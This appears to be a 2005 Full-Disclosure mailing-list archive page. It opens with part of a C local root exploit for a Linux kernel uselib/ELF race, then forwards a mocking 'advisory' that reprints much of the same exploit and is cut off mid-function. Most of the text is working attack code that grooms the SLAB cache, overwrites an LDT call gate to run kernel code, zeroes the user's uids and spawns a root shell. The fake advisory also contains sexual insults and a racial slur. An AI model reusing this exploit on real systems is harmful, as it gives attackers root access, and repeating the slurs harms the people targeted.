		for(pidx=0; pidx<=max_page-1; pidx++) {
			if(pagemap[pidx]) {
				npg++;
				fflush(stdout);
			}
			else if(npg == LDT_PAGES) {
				npg=0;
				try_to_exploit(addr_min+(pidx-1)*PAGE_SIZE);
			} else {
				npg=0;
			}
		}
		fatal("find LDT", 1);
	}

//	save context & scan page table
	__asm__("movl	%%esp, %0" : :"m"(old_esp) );
	map_addr = addr_max;
	scan_mm();
}


//	return number of available SLAB objects in cache
int get_slab_objs(const char *sn)
{
static int c, d, u = 0, a = 0;
FILE *fp=NULL;

	fp = fopen("/proc/slabinfo", "r");
	if(!fp)
		fatal("get_slab_objs: fopen", 0);
	fgets(name, sizeof(name) - 1, fp);
	do {
		c = u = a = -1;
		if (!fgets(line, sizeof(line) - 1, fp))
			break;
		c = sscanf(line, "%s %u %u %u %u %u %u", name, &u, &a,
			   &d, &d, &d, &d);
	} while (strcmp(name, sn));
	close(fileno(fp));
	fclose(fp);
	return c == 7 ? a - u : -1;
}


//	leave one object in the SLAB
inline void prepare_slab()
{
int *r;

	map_addr -= PAGE_SIZE;
	map_count++;
	map_flags ^= PROT_READ;

	r = (void*)sys_mmap2((unsigned)map_addr, PAGE_SIZE, map_flags,
			     MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0);
	if(MAP_FAILED == r) {
		fatal("try again", 0);
	}
	*r = map_addr;
}


//	sig handlers
void segvcnt(int v)
{
	scnt++;
	scan_mm_finish();
}


//	child reap
void reaper(int v)
{
	ccnt++;
	waitpid(0, &v, WNOHANG|WUNTRACED);
}


//	sometimes I get the VMAs in reversed order...
//	so just use anyone of the two but take care about the flags
void check_vma_flags();

void vreversed(int v)
{
	map_flags = 0;
	check_vma_flags();
}


void check_vma_flags()
{
	if(map_flags) {
		__asm__("movl	%%esp, %0" : :"m"(old_esp) );
	} else {
		__asm__("movl	%0, %%esp" : :"m"(old_esp) );
		goto out;
	}
	signal(SIGSEGV, vreversed);
	val = * (unsigned*)(lib_addr + PAGE_SIZE);
out:
}


//	use elf library and try to sleep on kmalloc
void exploitme()
{
int r, sz, pcnt=0;
static char smiley[]="-\\|/-\\|/";

//	printf("\n    cat /proc/%d/maps", getpid() ); fflush(stdout);

//	helper clone
	finish=0; ccnt=0;
	sz = sizeof(cstack) / sizeof(cstack[0]);
	cpid = clone(&raceme, (void*) &cstack[sz-16],
			CLONE_VM|CLONE_SIGHAND|CLONE_FS|SIGCHLD, NULL );
	if(-1==cpid) fatal("clone", 0);

//	synchronize threads
	while(!finish) sys_sched_yield();
	finish=0;
	if(!silent) {
		printf("\n"); fflush(stdout);
	}

//	try to hit the kmalloc race
	for(;;) {

		r = get_slab_objs("vm_area_struct");
		while(r != 1) {
			prepare_slab();
			r--;
		}

		sys_gettimeofday(&tm1, NULL);
		go = 1;
		r=sys_uselib(libname);
		go = 0;
		if(r) fatal("uselib", 0);
		if(finish) break;

//	wipe lib VMAs and try again
		r = sys_munmap(lib_addr, LIB_SIZE);
		if(r) fatal("munmap lib", 0);
		if(ccnt) goto failed;

		if( !silent && !(pcnt%64) ) {
			printf("\r    Wait... %c", smiley[ (pcnt/64)%8 ]);
			fflush(stdout);
		}
		pcnt++;
	}

//	seems we raced, free mem
	r = sys_munmap(map_addr, map_base-map_addr + PAGE_SIZE);
	if(r) fatal("munmap 1", 0);
	r = sys_munmap(lib_addr, PAGE_SIZE);
	if(r) fatal("munmap 2", 0);
	
//	relax kswapd
	sys_gettimeofday(&tm1, NULL);
	for(;;) {
		sys_sched_yield();
		sys_gettimeofday(&tm2, NULL);
		delta = tmdiff(&tm1, &tm2);
		if( wtime*1000000U <= (unsigned)delta ) break;
	}

//	we need to check the PROT_EXEC flag
	map_flags = PROT_EXEC;
	check_vma_flags();
	if(!map_flags) {
		printf("\n    VMAs reversed"); fflush(stdout);
	}

//	write protect brk's VMA to fool vm_enough_memory()
	r = sys_mprotect((lib_addr + PAGE_SIZE), LIB_SIZE-PAGE_SIZE,
			 PROT_READ|map_flags);
	if(-1==r) { fatal("mprotect brk", 0); }

//	this will finally make the big VMA...
	sz = (0-lib_addr) - LIB_SIZE - PAGE_SIZE;
expand:
	r = sys_madvise((void*)(lib_addr + PAGE_SIZE),
			LIB_SIZE-PAGE_SIZE, MADV_NORMAL);
	if(r) fatal("madvise", 0);
	r = sys_mremap(lib_addr + LIB_SIZE-PAGE_SIZE,
			PAGE_SIZE, sz, MREMAP_MAYMOVE, 0);
	if(-1==r) {
		if(0==sz) {
			fatal("mremap: expand VMA", 0);
		} else {
			sz -= PAGE_SIZE;
			goto expand;
		}
	}
	vma_start = lib_addr + PAGE_SIZE;
	vma_end = vma_start + sz + 2*PAGE_SIZE;
	printf("\n    expanded VMA (0x%.8x-0x%.8x)", vma_start, vma_end);
	fflush(stdout);

//	try to figure kernel layout
	signal(SIGCHLD, reaper);
	signal(SIGSEGV, segvcnt);
	signal(SIGBUS, segvcnt);
	scan_mm_start();

failed:
	fatal("try again", 0);

}


//	make fake ELF library
void make_lib()
{
struct elfhdr eh;
struct elf_phdr eph;
static char tmpbuf[PAGE_SIZE];
int fd;

//	make our elf library
	umask(022);
	unlink(libname);
	fd=open(libname, O_RDWR|O_CREAT|O_TRUNC, 0755);
	if(fd<0) fatal("open lib ("LIBNAME" not writable?)", 0);
	memset(&eh, 0, sizeof(eh) );

//	elf exec header
	memcpy(eh.e_ident, ELFMAG, SELFMAG);
	eh.e_type = ET_EXEC;
	eh.e_machine = EM_386;
	eh.e_phentsize = sizeof(struct elf_phdr);
	eh.e_phnum = 1;
	eh.e_phoff = sizeof(eh);
	write(fd, &eh, sizeof(eh) );

//	section header:
	memset(&eph, 0, sizeof(eph) );
	eph.p_type = PT_LOAD;
	eph.p_offset = 4096;
	eph.p_filesz = 4096;
	eph.p_vaddr = lib_addr;
	eph.p_memsz = LIB_SIZE;
	eph.p_flags = PF_W|PF_R|PF_X;
	write(fd, &eph, sizeof(eph) );

//	execable code
	lseek(fd, 4096, SEEK_SET);
	memset(tmpbuf, 0x90, sizeof(tmpbuf) );
	write(fd, &tmpbuf, sizeof(tmpbuf) );
	close(fd);
}


//	move stack down #2
void prepare_finish()
{
int r;
static struct sysinfo si;

	old_esp &= ~(PAGE_SIZE-1);
	old_esp -= PAGE_SIZE;
	task_size = ((unsigned)old_esp + 1 GB ) / (1 GB) * 1 GB;
	r = sys_munmap(old_esp, task_size-old_esp);
	if(r) fatal("unmap stack", 0);

//	setup rt env
	uid = getuid();
	lib_addr = task_size - LIB_SIZE - PAGE_SIZE;
	if(map_base)
		map_addr = map_base;
	else
		map_base = map_addr = (lib_addr - PGD_SIZE) & ~(PGD_SIZE-1);
	printf("\n[+] moved stack %x, task_size=0x%.8x, map_base=0x%.8x",
		old_esp, task_size, map_base); fflush(stdout);

//	check physical mem & prepare
	sysinfo(&si);
	addr_min = task_size + si.totalram;
	addr_min = (addr_min + PGD_SIZE - 1) & ~(PGD_SIZE-1);
	addr_max = addr_min + si.totalram;
	if((unsigned)addr_max >= 0xffffe000 || (unsigned)addr_max < (unsigned)addr_min)
		addr_max = 0xffffd000;

	printf("\n[+] vmalloc area 0x%.8x - 0x%.8x", addr_min, addr_max);
	max_page = (addr_max - addr_min) / PAGE_SIZE;
	pagemap = malloc( max_page + 32 );
	if(!pagemap) fatal("malloc pagemap", 1);
	memset(pagemap, 0, max_page + 32);

//	go go
	make_lib();
	exploitme();
}


//	move stack down #1
void prepare()
{
unsigned p=0;

	environ = myenv;

	p = sys_mmap2( 0, STACK_SIZE, PROT_READ|PROT_WRITE,
		       MAP_PRIVATE|MAP_ANONYMOUS, 0, 0	);
	if(-1==p) fatal("mmap2 stack", 0);
	p += STACK_SIZE - 64;

	__asm__("movl	%%esp, %0	\n"
		"movl 	%1, %%esp	\n"
		: : "m"(old_esp), "m"(p)
	);

	prepare_finish();
}


void chldcnt(int v)
{
	ccnt++;
}


//	alloc slab objects...
inline void do_wipe()
{
int *r, c=0, left=0;

	__asm__("movl	%%esp, %0" : : "m"(old_esp) );

	old_esp = (old_esp - PGD_SIZE+1) & ~(PGD_SIZE-1);
	old_esp = map_base? map_base : old_esp;

	for(;;) {
		if(left<=0)
			left = get_slab_objs("vm_area_struct");
		if(left <= SLAB_THRSH)
			break;
		left--;

		map_flags ^= PROT_READ;
		old_esp -= PAGE_SIZE;
		r = (void*)sys_mmap2(old_esp, PAGE_SIZE, map_flags,
			MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0 );
		if(MAP_FAILED == r)
			break;

		if(c>SLAB_PER_CHLD)
			break;
		if( (c%1024)==0 ) {
			if(!c) printf("\n");
			printf("\r    child %d VMAs %d", val, c);
			fflush(stdout);
		}
		c++;
	}
	printf("\r    child %d VMAs %d", val, c);
	fflush(stdout);
	kill(getppid(), SIGUSR1);
	for(;;) pause();
}


//	empty SLAB caches
void wipe_slab()
{
	signal(SIGUSR1, chldcnt);
	printf("\n[+] SLAB cleanup"); fflush(stdout);
	for(;;) {
		ccnt=0;
		val++;
		cpid = fork();
		if(!cpid)
			do_wipe();

		while(!ccnt) sys_sched_yield();
		if( get_slab_objs("vm_area_struct") <= SLAB_THRSH )
			break;
	}
	signal(SIGUSR1, SIG_DFL);
}


void usage(char *n)
{
	printf("\nUsage: %s\t-f forced stop\n", n);
	printf("\t\t-s silent mode\n");
	printf("\t\t-c command to run\n");
	printf("\t\t-n SMP iterations\n");
	printf("\t\t-d race delta us\n");
	printf("\t\t-w wait time seconds\n");
	printf("\t\t-l alternate lib name\n");
	printf("\t\t-a alternate addr hex\n");
	printf("\n");
	_exit(1);
}


//	give -s for forced stop, -b to clean SLAB
int main(int ac, char **av)
{
int r;

	while(ac) {
		r = getopt(ac, av, "n:l:a:w:c:d:fsh");
		if(r<0) break;

		switch(r) {

		case 'f' :
			fstop = 1;
			break;

		case 's' :
			silent = 1;
			break;

		case 'n' :
			smp_max = atoi(optarg);
			break;

		case 'd':
			if(1!=sscanf(optarg, "%u", &delta_max) || delta_max > 100000u )
				fatal("bad delta value", 0);
			break;

		case 'w' :
			wtime = atoi(optarg);
			if(wtime<0) fatal("bad wait value", 0);
			break;

		case 'l' :
			libname = strdup(optarg);
			break;

		case 'c' :
			shellname = strdup(optarg);
			break;

		case 'a' :
			if(1!=sscanf(optarg, "%x", &map_base))
				fatal("bad addr value", 0);
			map_base &= ~(PGD_SIZE-1);
			break;

		case 'h' :
		default:
			usage(av[0]);
			break;
		}
	}

//	basic setup
	uid = getuid();
	setpgrp();
	wipe_slab();
	prepare();

return 0;
}

From ihaquer at isec.pl  Fri Jan  7 11:48:38 2005
From: ihaquer at isec.pl (Paul Starzetz)
Date: Fri, 7 Jan 2005 12:48:38 +0100 (CET)
Subject: [Full-Disclosure] [iSEC] [Dailydave] Advisory 1/2005 - Linux Kernel
 arbitrary code execution (fwd)
Message-ID: <Pine.LNX.4.44.0501071246340.2904-200000@isec.pl>


here the plagiate.

-- 
Paul Starzetz
iSEC Security Research
http://isec.pl/


---------- Forwarded message ----------
Date: Fri, 7 Jan 2005 09:39:18 +0100 (CET)
From: Janusz Niewiadomski <funkysh at isec.pl>
Reply-To: isec at isec.pl
To: isec at isec.pl
Subject: [iSEC] [Dailydave] Advisory 1/2005 - Linux Kernel arbitrary code
    execution



Ihaquer, to jest Twoj babol i exploit? Jesli tak.. to nie posylalbym 
wiecej kod?w na vendor-sec..

-- 
Janusz Niewiadomski
iSEC Security Research
http://isec.pl/


---------- Forwarded message ----------
Date: 7 Jan 2005 05:19:59 -0000
From: Stefan Esser <s.esser at ematters.de>
Reply-To: "s.esser at ematters.de" <12796750-8530 at sharpmail.co.uk>
To: dailydave at lists.immunitysec.com
Subject: [Dailydave] Advisory 1/2005 - Linux Kernel arbitrary code
    execution vulnerability.

/* A New Initiative for a New Year
 *  
 * E-matters are pleased to announce their new Microsoft-approved 
 * Responsible Disclosure initiative in which we will be working
 * very closely with eEye, iDefense and the vendersec mailing list:
 * "e-eyeDefenderSec - Because the 'e'-matters"
 * 
 ****
 *
 * Advisory 1/2005
 * Linux Kernel arbitrary code execution vulnerability.
 * 
 * Release Date:	2005/01/06
 * Author:		Stefan Esser [s.esser at ematters.de] 
 * Application:		Linux Kernel <= 2.4.28, <= 2.6.10
 * Severity:		A vulnerability exists in the ELF loader code
 * 			allowing for an attacker to execute code as root.
 * Risk:		Critical
 * Reference:		This advisory will soon be available on the e-matters
 * 			website.
 * Last Modified:  	2005/01/06
 *
 ****
 *
 * Preamble
 * Contributed by Marc 'The Narc' Maffrait / MCSE Hammer of eEye digital
 * security.
 *
 * damn isec fools falling for teh bait
 * dat ret for cliph's box hella accurate
 *
 * sniffing on your upstream scopin for gold
 * hittin pay dirt with this here kernel hole
 * 
 * responsibly disclosing crap you didn't know before
 * e-eyeDefenderSec steppin' up the 2k5 score
 * 
 * u done dropped that httpd, askin yourself 'wtf be wrong wiff me?'
 * your eyes are too full of dollar bills to see
 *
 * we're two steps ahead, and even some to the side
 * step the fuck back bitch..make, run..and hide.
 *
 ****
 *
 * Overview
 *
 * The Linux Kernel is the core of any Linux operating system. Security
 * issues within the Kernel allow for attackers to execute code within 
 * the context of the kernel. This allows for attackers to gain root
 * access to a Linux system.
 *
 ****
 *
 * Details
 *
 * Due to a missing down() call for the semaphore 'current->mm->mmap_sem'
 * it is possible to create two over-lapping VMAs and exploit behaviour in
 * mremap that allows you to map kernel memory into userland address ranges.
 * This can be exploited by an attacker in many ways.	 
 *
 ****
 *
 * Proof of Concept
 * e-matters proof of concept code is attached.
 *
 ****
 *
 * Disclosure Timeline
 *
 * 15. Dec 2004	Issue discovered by Stefan Esser.
 * 16. Dec 2004	Issue discussed with Sebastian Kraemer of SuSe
 * 18. Dec 2004 Issue disclosed to the other contributors to e-eyeDefenderSec
 * 22. Dec 2004	Proof of concept code developed with e-eyeDefenderSec
 * 24. Dec 2004	Linux kernel team informed of security problem.
 * 2. Jan 2005	Linux kernel team reply that they fixed the problem.
 * 3. Jan 2005  divineint gives up on trying to make the PoC code work
 * 		and rates the exploit as 'fake - possible trojan'.
 * 4. Jan 2005	PoC code improved by Sebastian Kraemer and Stefan Esser
 * 6. Jan 2005	Public Disclosure
 *
 ****
 *
 * Recommendation
 *
 * We strongly recommend upgrading to the latest Linux kernel.
 * There is no known work-around for this issue.
 *
 ****
 *
 * GPG-Key
 *
 * pub 1024D/3004C4BC 2004-05-17 e-matters GmbH - Securityteam
 * Key fingerprint = 3FFB 7C86 7BE8 6981 D1DA A71A 6F7D 572D 3004 C4BC 	 
 *
 *
 ****
 *
 * Closing Remarks
 *
 * "vendor-sec is a great mailing list, since it serves the security community
 * so well.  Would it not be for vendor-sec, information would be given to the
 * general public faster, and patches deployed faster.  Instead, the list puts
 * exploits and bug information directly in the hand of blackhats, and gives 
 * them a reliable attack window to pick their targets before a patch is made
 * public."
 *  - dick "up my ass" johnson, iDEFENSE Plagiarist and Anal Sex Expert,
 *    Internet Pioneer, GOBBLES Founder, apache-scalp author, Intrepid 
 *    Vulnerability Discloser, bsdauth vulnerability discoverer, princessj 
 *    anal destroyer, Mark Dowd, The Fluffy Bunny, Defacer of security.is,
 *    destroyer of divineint, scourge of scriptkids, the one the only,
 *    inventer of the internet GOLDEN GOD.
 *    
 * Special thanks to: 	Derek Calloway (aka jimjones / the_uT) of @stake.
 *			Mayhem (thanks for the shellcode help you grumpy frog :))
 *			cliph (seriously bro, Firefox has updates for a reason)
 *
 * ... and that KF nigger.
 *
 ****
 * 
 * Testbeds
 *
 * clarity.local - <thief> werd up
 * cvs.kernel.org - I bet you don't find the backdoor *this* time ;)
 * 
 ****
 *
 * Copyright 2004, 2005 Stefan Esser and e-matters.de - All rights reserved.
 *
 */#define _GNU_SOURCE#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <sched.h>
#include <syscall.h>
#include <limits.h>#include <sys/types.h>
#include <sys/wait.h>
#include <sys/time.h>
#include <sys/mman.h>
#include <sys/sysinfo.h>#include <linux/elf.h>
#include <linux/linkage.h>#include <asm/page.h>
#include <asm/ldt.h>
#include <asm/segment.h>#define str(s) #s
#define xstr(s) str(s)#define MREMAP_MAYMOVE  1
//	temp lib location
#define LIBNAME 	"/dev/shm/_elf_lib"//	shell name
#define	SHELL		"/bin/bash"//	time delta to detect race
#define RACEDELTA	5000//	if you have more deadbebes in memory, change this
#define MAGIC		0xdeadbabe
//	do not touch
#define	SLAB_THRSH	128
#define	SLAB_PER_CHLD	(INT_MAX - 1)
#define LIB_SIZE	( PAGE_SIZE * 4 )
#define STACK_SIZE	( PAGE_SIZE * 4 )#define LDT_PAGES	( (LDT_ENTRIES*LDT_ENTRY_SIZE+PAGE_SIZE-1)/PAGE_SIZE )#define ENTRY_GATE	( LDT_ENTRIES-1 )
#define GATESEL		( (ENTRY_GATE<<3)|0x07 )#define kB		* 1024
#define MB		* 1024 kB
#define GB		* 1024 MB#define TMPLEN		256
#define PGD_SIZE	( PAGE_SIZE*1024 )
extern char **environ;static char cstack[STACK_SIZE];
static char name[TMPLEN];
static char line[TMPLEN];
static volatile int
	val = 0,
	go = 0,
	finish = 0,
	scnt = 0,
	old_esp = 0,
	delta = 0,
	map_flags = PROT_WRITE|PROT_READ;
static int
	fstop=0,
	brute=0,
	ccnt=0,
	pidx,
	pnum=0,
	smp=4,
	cpid,
	uid,
	task_size,
	old_esp,
	lib_addr,
	map_count=0,
	map_base,
	map_addr,
	addr_min,
	addr_max,
	vma_start,
	vma_end,
	max_page;
static struct timeval tm1, tm2;static char *myenv[] = {"TERM=vt100",
			"HISTFILE=/dev/null",
			NULL};
static char *pagemap;#define __NR_sys_gettimeofday	__NR_gettimeofday
#define __NR_sys_sched_yield	__NR_sched_yield
#define __NR_sys_madvise	__NR_madvise
#define __NR_sys_uselib		__NR_uselib
#define __NR_sys_mmap2		__NR_mmap2
#define __NR_sys_munmap		__NR_munmap
#define __NR_sys_mprotect	__NR_mprotect
#define __NR_sys_mremap		__NR_mremapinline _syscall6(int, sys_mmap2, int, a, int, b, int, c, int, d, int, e, int, f);inline _syscall5(int, sys_mremap, int, a, int, b, int, c, int, d, int, e);inline _syscall3(int, sys_madvise, void*, a, int, b, int, c);
inline _syscall3(int, sys_mprotect, int, a, int, b, int, c);
inline _syscall3( int, modify_ldt, int, func, void *, ptr, int, bytecount );inline _syscall2(int, sys_gettimeofday, void*, a, void*, b);
inline _syscall2(int, sys_munmap, int, a, int, b);inline _syscall1(int, sys_uselib, char*, l);inline _syscall0(void, sys_sched_yield);inline int tmdiff(struct timeval *t1, struct timeval *t2)
{
int r;	r=t2->tv_sec - t1->tv_sec;
	r*=1000000;
	r+=t2->tv_usec - t1->tv_usec;
return r;
}
void fatal(const char *message, int critical)
{
int sig = critical? SIGSTOP : (fstop? SIGSTOP : SIGKILL);	if(!errno) {
		fprintf(stdout, "\n[-] FAILED: %s ", message);
	}
	else {
		fprintf(stdout, "\n[-] FAILED: %s (%s) ", message,
			(char*) (strerror(errno)) );
	}
	if(critical)
		printf("\nCRITICAL, entering endless loop");
	printf("\n");
	fflush(stdout);	unlink(LIBNAME);
	kill(cpid, SIGKILL);
	for(;;) kill(0, sig);
}
//	try to race do_brk sleeping on kmalloc, may need modification for SMP
static int raceme(void* v)
{
int r;	printf("\n[+] exploit thread running pid=%d", getpid() ); fflush(stdout);
	finish=1;	for(;;) {
		errno = 0;//	check if raced:
recheck:
		if(!go) sys_sched_yield();
		sys_gettimeofday(&tm2, NULL);
		delta = tmdiff(&tm1, &tm2);
		if(delta < RACEDELTA) goto recheck;//	check if lib VMAs exist as expected under race condition
recheck2:
		r = sys_madvise((void*) lib_addr, PAGE_SIZE, MADV_NORMAL);
		if(r) continue;
		errno = 0;
		r = sys_madvise((void*) (lib_addr+PAGE_SIZE),
				LIB_SIZE-PAGE_SIZE, MADV_NORMAL);
		if(!r || (r<0 && errno != ENOMEM) ) continue;//	SMP?
		if(smp-->=0) goto recheck2;//	recheck race
		if(!go) continue;
		finish++;//	we need to free one vm_area_struct for mmap to work
		r = sys_mprotect(map_addr, PAGE_SIZE, map_flags);
		if(r) fatal("mprotect", 0);
		r = sys_mmap2(lib_addr + PAGE_SIZE*2, PAGE_SIZE, PROT_READ|PROT_WRITE,
			      MAP_SHARED|MAP_ANONYMOUS|MAP_FIXED, 0, 0);
		if(-1 == r) fatal("mmap2 race", 0);
		printf("\n[+] race delta=%d maps=%d", delta, map_count); fflush(stdout);
		_exit(0);
	}return 0;
}
//	get uid=0 kernel code (stolen from cliph)
asmlinkage void kernel_code(unsigned *task)
{
unsigned *addr = task;//	find & reset uids
	while(addr[0] != uid || addr[1] != uid ||
	      addr[2] != uid || addr[3] != uid)
		addr++;	addr[0] = /*addr[1] = */addr[2] = addr[3] = 0;
	addr[4] = addr[5] = addr[6] = addr[7] = 0;//	find & correct VMA
	for(addr=(unsigned *)task_size; (unsigned)addr<addr_min; addr++) {
		if(addr[0] >= task_size && addr[1] == vma_start &&
		   addr[2] == vma_end && addr[3] >= task_size ) {
			addr[1] = task_size - PAGE_SIZE;
			addr[2] = task_size;
			break;
		}
	}
}
void kcode(void);void __kcode(void)
{
asm(
	"kcode:						\n"
	"	pusha					\n"
	"	pushl	%es				\n"
	"	pushl	%ds				\n"
	"	movl	$("xstr(__KERNEL_DS)") ,%edx	\n"
	"	movl	%edx,%es			\n"
	"	movl	%edx,%ds			\n"
	"	movl	$0xffffe000,%eax		\n"
	"	andl	%esp,%eax			\n"
	"	pushl	%eax				\n"
	"	call	kernel_code			\n"
	"	addl	$4, %esp			\n"
	"	popl	%ds				\n"
	"	popl	%es				\n"
	"	popa					\n"
	"	lret					\n"
);
}
void static sigfailed(int v)
{
	ccnt++;
	fatal("lcall", 1);
}
//	modify LDT & exec
void try_to_exploit(unsigned addr)
{
volatile int r, *v;	printf("\n[!] try to exploit 0x%.8x", addr); fflush(stdout);
	r = sys_mprotect(addr, PAGE_SIZE, PROT_READ|PROT_WRITE|PROT_EXEC);
	if(r) fatal("mprotect 1", 1);//	check if really LDT
	v = (void*) (addr + (ENTRY_GATE*LDT_ENTRY_SIZE % PAGE_SIZE) );
	signal(SIGSEGV, sigfailed);
	r = *v;
	if(r != MAGIC) {
		printf("\n[-] FAILED val = 0x%.8x", r); fflush(stdout);
		fatal("find LDT", 1);
	}//	yeah!
	*v = ((unsigned)__KERNEL_CS << 16) | ((unsigned)kcode & 0xffffU);
	*(v+1) = ((unsigned)kcode & ~0xffffU) | 0xec00U;
	printf("\n[+] SUCCESS (LDT found v=0x%.8x)", *v); fflush(stdout);//	reprotect to get one VMA
	r = sys_mprotect(addr, PAGE_SIZE, PROT_READ|PROT_EXEC);
	if(r) fatal("mprotect 2", 1);//	CPL0 transition
	asm("lcall $" xstr(GATESEL) ",$0x0");
	if( getuid()==0 ) {
		printf("\n[+] exploited, uid=0\n" ); fflush(stdout);
	} else {
		printf("\n[-] uid change failed" ); fflush(stdout);
		sigfailed(0);
	}
	signal(SIGTERM, SIG_IGN);
	kill(0, SIGTERM);
	execl(SHELL, "sh", NULL);
	fatal("execl", 0);
}
void static scan_mm_finish();
void static scan_mm_start();
//	kernel page table scan code
void static scan_mm()
{
	map_addr -= PAGE_SIZE;
	if(map_addr <= addr_min)
		scan_mm_start();	scnt=0;
	val = *(int*)map_addr;
	scan_mm_finish();
}
void static scan_mm_finish()
{
retry:
	__asm__("movl	%0, %%esp" : :"m"(old_esp) );	if(scnt) {
		pagemap[pidx] ^= 1;
	}
	else {
		sys_madvise((void*)map_addr, PAGE_SIZE, MADV_DONTNEED);
	}
	pidx--;
	scan_mm();
	goto retry;
}
//	make kernel page maps before and after allocating LDT
void static scan_mm_start()
{
static int npg=0;
static struct modify_ldt_ldt_s l;
static struct sysinfo si;	pnum++;
	if(pnum==1) {
		sysinfo(&si);
		addr_min = task_size + si.totalram;
		addr_min = (addr_min + PGD_SIZE - 1) & ~(PGD_SIZE-1);
		addr_max = addr_min + si.totalram;
		if(addr_max >= 0xffffe000 || addr_max < addr_min)
			addr_max = 0xffffd000;		printf("\n[+] vmalloc area 0x%.8x - 0x%.8x", addr_min, addr_max);
		max_page = (addr_max - addr_min) / PAGE_SIZE;		pagemap = malloc( max_page + 32 );
		if(!pagemap) fatal("malloc pagemap", 1);
		memset(pagemap, 0, max_page + 32);		pidx = max_page-1;
	}
	else if(pnum==2) {
		memset(&l, 0, sizeof(l));
		l.entry_number = LDT_ENTRIES-1;
		l.seg_32bit = 1;
		l.base_addr = MAGIC >> 16;
		l.limit = MAGIC & 0xffff;
		l.limit_in_pages = 1;
		if( modify_ldt(1, &l, sizeof(l)) != 0 )
			fatal("modify_ldt", 1);		pidx = max_page-1;
	}
	else if(pnum==3) {
		npg=0;
		for(pidx=0; pidx<=max_page-1; pidx++) {
			if(pagemap[pidx]) {
				npg++;
				fflush(stdout);
			}
			else if(npg == LDT_PAGES) {
				npg=0;
				try_to_exploit(addr_min + (pidx-1)*PAGE_SIZE);
			} else {
				npg=0;
			}
		}
		fatal("find LDT", 1);
	}//	save context & scan page table
	__asm__("movl	%%esp, %0" : :"m"(old_esp) );
	map_addr = addr_max;
	scan_mm();
}
//	return number of available SLAB objects in cache
static int get_slab_objs(const char *sn)
{
static int c, d, u = 0, a = 0;
FILE *fp=NULL;	fp = fopen("/proc/slabinfo", "r");
	if(!fp)
		fatal("get_slab_objs: fopen", 0);
	fgets(name, sizeof(name) - 1, fp);
	do {
		c = u = a = -1;
		if (!fgets(line, sizeof(line) - 1, fp))
			break;
		c = sscanf(line, "%s %u %u %u %u %u %u", name, &u, &a,
			   &d, &d, &d, &d);
	} while (strcmp(name, sn));
	close(fileno(fp));
	fclose(fp);
	return c == 7 ? a - u : -1;
}
//	leave one object in the SLAB
inline void prepare_slab()
{
int *r;	map_addr -= PAGE_SIZE;
	map_count++;
	map_flags ^= PROT_READ;	r = (void*)sys_mmap2((unsigned)map_addr, PAGE_SIZE, map_flags,
		MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0 );
	if(MAP_FAILED == r) {
		fatal("try again", 0);
	}
	*r = map_addr;
}
//	sig handlers
void static segvcnt(int v)
{
	scnt++;
	scan_mm_finish();
}
void static reaper(int v)
{
	ccnt++;
	waitpid(0, &v, WNOHANG|WUNTRACED);
}
//	use elf library and try to sleep on kmalloc
void exploitme()
{
int r, sz;	printf("\n    cat /proc/%d/maps", getpid() ); fflush(stdout);
	signal(SIGCHLD, reaper);
	signal(SIGSEGV, segvcnt);
	signal(SIGBUS, segvcnt);//	helper clone
	finish=0; ccnt=0;
	sz = sizeof(cstack) / sizeof(cstack[0]);
	cpid = clone(&raceme, (void*) &cstack[sz-16],
			CLONE_VM|CLONE_SIGHAND|CLONE_FS|SIGCHLD, NULL );
	if(-1==cpid) fatal("clone", 0);//	synchronize threads
	while(!finish) sys_sched_yield();
	finish=0;//	try to hit the kmalloc race
	for(;;) {		r = get_slab_objs("vm_area_struct");
		while(r != 1) {
			prepare_slab();
			r--;
		}		sys_gettimeofday(&tm1, NULL);
		go = 1;
		r=sys_uselib(LIBNAME);
		go = 0;
		if(r) fatal("uselib", 0);
		if(finish) break;//	wipe lib VMAs and try again
		r = sys_munmap(lib_addr, LIB_SIZE);
		if(-1==r || ccnt) goto failed;
	}//	seems we raced
	r = sys_munmap(map_addr, map_base-map_addr + PAGE_SIZE);
	if(r) fatal("munmap 1", 0);
	r = sys_munmap(lib_addr, PAGE_SIZE);
	if(r) fatal("munmap 2", 0);//	write protect brk VMA to fool vm_enough_memory()
	r = sys_mprotect((lib_addr + PAGE_SIZE), LIB_SIZE-PAGE_SIZE,
			 PROT_READ|PROT_EXEC);
	if(-1==r) fatal("mprotect brk", 0);//	this will finally make the big VMA...
	sz = (0-lib_addr) - LIB_SIZE - PAGE_SIZE;
expand:
	r = sys_madvise((void*)(lib_addr + PAGE_SIZE),
			LIB_SIZE-PAGE_SIZE, MADV_NORMAL);
	if(r) fatal("madvise", 0);
	r = sys_mremap(lib_addr + LIB_SIZE-PAGE_SIZE,
			PAGE_SIZE, sz, MREMAP_MAYMOVE, 0);
	if(-1==r) {
		if(0==sz) fatal("mremap: expand VMA", 0);
		else { sz -= PAGE_SIZE; goto expand; }
	}
	vma_start = lib_addr + PAGE_SIZE;
	vma_end = vma_start + sz + 2*PAGE_SIZE;//	try to figure kernel layout
	printf("\n    expanded VMA (0x%.8x-0x%.8x)", vma_start, vma_end);
	fflush(stdout);
	scan_mm_start();failed:
	fatal("try again", 0);}
//	make fake ELF library
static void make_lib()
{
struct elfhdr eh;
struct elf_phdr eph;
static char tmpbuf[PAGE_SIZE];
int fd;//	make our elf library
	umask(022);
	unlink(LIBNAME);
	fd=open(LIBNAME, O_RDWR|O_CREAT|O_TRUNC, 0755);
	if(fd<0) fatal("open lib", 0);
	memset(&eh, 0, sizeof(eh) );//	elf exec header
	memcpy(eh.e_ident, ELFMAG, SELFMAG);
	eh.e_type = ET_EXEC;
	eh.e_machine = EM_386;
	eh.e_phentsize = sizeof(struct elf_phdr);
	eh.e_phnum = 1;
	eh.e_phoff = sizeof(eh);
	write(fd, &eh, sizeof(eh) );//	section header:
	memset(&eph, 0, sizeof(eph) );
	eph.p_type = PT_LOAD;
	eph.p_offset = 4096;
	eph.p_filesz = 4096;
	eph.p_vaddr = lib_addr;
	eph.p_memsz = LIB_SIZE;
	eph.p_flags = PF_W|PF_R|PF_X;
	write(fd, &eph, sizeof(eph) );//	execable code
	lseek(fd, 4096, SEEK_SET);
	memset(tmpbuf, 0x90, sizeof(tmpbuf) );
	write(fd, &tmpbuf, sizeof(tmpbuf) );
	close(fd);
}
//	move stack down #2
void prepare_finish()
{
int r;
